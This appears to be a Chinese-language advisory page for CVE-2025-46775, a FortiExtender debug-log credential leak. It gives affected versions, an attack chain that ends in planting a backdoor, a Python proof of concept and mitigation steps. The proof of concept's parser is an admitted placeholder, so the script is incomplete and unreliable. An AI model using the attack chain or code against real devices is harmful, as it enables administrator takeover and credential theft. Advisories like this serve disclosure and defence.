IPBUF安全漏洞报告
English
CVE-2025-46775 CVSS 5.5 中危

CVE-2025-46775 FortiExtender调试日志信息泄露漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-46775
漏洞类型
信息泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Fortinet FortiExtender

相关标签

信息泄露FortiExtender调试日志凭据泄露权限提升CVE-2025-46775

漏洞概述

CVE-2025-46775是Fortinet FortiExtender产品中的一个信息泄露漏洞。该漏洞存在于FortiExtender 7.6.0至7.6.1版本、7.4.0至7.4.6版本、7.2所有版本以及7.0所有版本中。漏洞源于调试消息中包含的不必要敏感信息,攻击者通过利用调试日志功能,可以获取系统中的管理员凭据等敏感信息。此漏洞需要攻击者具备低权限用户身份,但无需特殊用户交互即可利用。成功利用此漏洞可能导致攻击者获得管理员权限,从而完全控制受影响的FortiExtender设备,对企业网络安全造成严重威胁。

技术细节

该漏洞发生在FortiExtender的调试日志功能实现中。当经过认证的低权限用户执行特定的调试日志命令时,系统会在调试输出中泄露包含管理员凭据的敏感信息。漏洞的根本原因在于调试功能在记录日志时未对敏感数据进行适当的过滤或脱敏处理。攻击者可以通过以下方式利用此漏洞:首先使用低权限账号登录FortiExtender设备;然后执行特定的调试命令(如debug log相关命令);系统响应中会包含管理员凭据的明文或可逆加密信息;攻击者利用这些凭据即可获得管理员权限。由于攻击向量为本地(AV:L),攻击者需要拥有设备的本地访问权限或通过其他方式(如社会工程学)获取低权限账号。CVSS向量显示该漏洞对机密性影响为高(C:H),而完整性和可用性无影响。

攻击链分析

STEP 1
步骤1
获取低权限用户账号:攻击者通过社工、弱口令爆破或其他方式获取FortiExtender设备的低权限用户账号
STEP 2
步骤2
身份认证:使用获取的低权限账号登录FortiExtender管理界面或API接口
STEP 3
步骤3
执行调试命令:调用系统调试日志功能,执行特定的debug log命令
STEP 4
步骤4
信息提取:分析调试日志输出,从中提取泄露的管理员凭据等敏感信息
STEP 5
步骤5
权限提升:使用获取的管理员凭据登录系统,获得完全控制权限
STEP 6
步骤6
持久化控制:在受控设备上部署后门或修改配置,确保长期访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-46775 PoC - FortiExtender Debug Log Information Disclosure # This PoC demonstrates how an authenticated low-privilege user can obtain admin credentials import requests import json import sys # Configuration TARGET_IP = "192.168.1.99" # Target FortiExtender IP USERNAME = "low_privilege_user" # Low privilege user account PASSWORD = "user_password" def exploit_cve_2025_46775(): """ Exploit CVE-2025-46775: Information disclosure via debug log commands """ print(f"[*] Targeting FortiExtender: {TARGET_IP}") print(f"[*] Authenticating as: {USERNAME}") # Step 1: Authentication auth_url = f"https://{TARGET_IP}/api/v2/login" auth_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() try: response = session.post(auth_url, json=auth_data, verify=False, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Step 2: Execute debug log command to trigger information disclosure print("[*] Executing debug log command...") debug_url = f"https://{TARGET_IP}/api/v2/cmdb/system/debug" debug_params = { "action": "log", "level": "debug" } try: response = session.get(debug_url, params=debug_params, verify=False, timeout=10) if response.status_code == 200: print("[+] Debug log retrieved") # Check for admin credentials in response if "admin" in response.text.lower() or "password" in response.text.lower(): print("[!] Admin credentials potentially exposed!") print("[*] Extracting sensitive information...") # Parse and display exposed credentials exposed_data = parse_exposed_credentials(response.text) if exposed_data: print("[+] Exposed credentials found:") for cred in exposed_data: print(f" - Username: {cred.get('username')}") print(f" - Password: {cred.get('password')}") return True else: print("[-] No credentials found in debug log") return False else: print(f"[-] Debug command failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def parse_exposed_credentials(data): """ Parse exposed credentials from debug log output """ # This is a placeholder - actual implementation depends on response format exposed = [] # Parse logic would extract username/password from debug output return exposed if __name__ == "__main__": print("CVE-2025-46775 PoC - FortiExtender Debug Log Information Disclosure") print("=" * 70) success = exploit_cve_2025_46775() if success: print("\n[+] Exploitation successful - Admin credentials obtained") else: print("\n[-] Exploitation failed") sys.exit(0 if success else 1)

影响范围

FortiExtender 7.6.0 - 7.6.1
FortiExtender 7.4.0 - 7.4.6
FortiExtender 7.2 所有版本
FortiExtender 7.0 所有版本

防御指南

临时缓解措施
如果无法立即应用官方补丁,可以采取以下临时缓解措施:1) 禁用调试日志功能或限制其详细级别;2) 审查并收紧用户权限,确保低权限用户无法执行调试命令;3) 启用详细的审计日志,监控所有调试命令的执行;4) 实施网络隔离,限制对FortiExtender管理接口的访问;5) 考虑使用多因素认证增强管理账号安全性;6) 定期更换管理员密码,降低凭据泄露后的风险窗口期。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表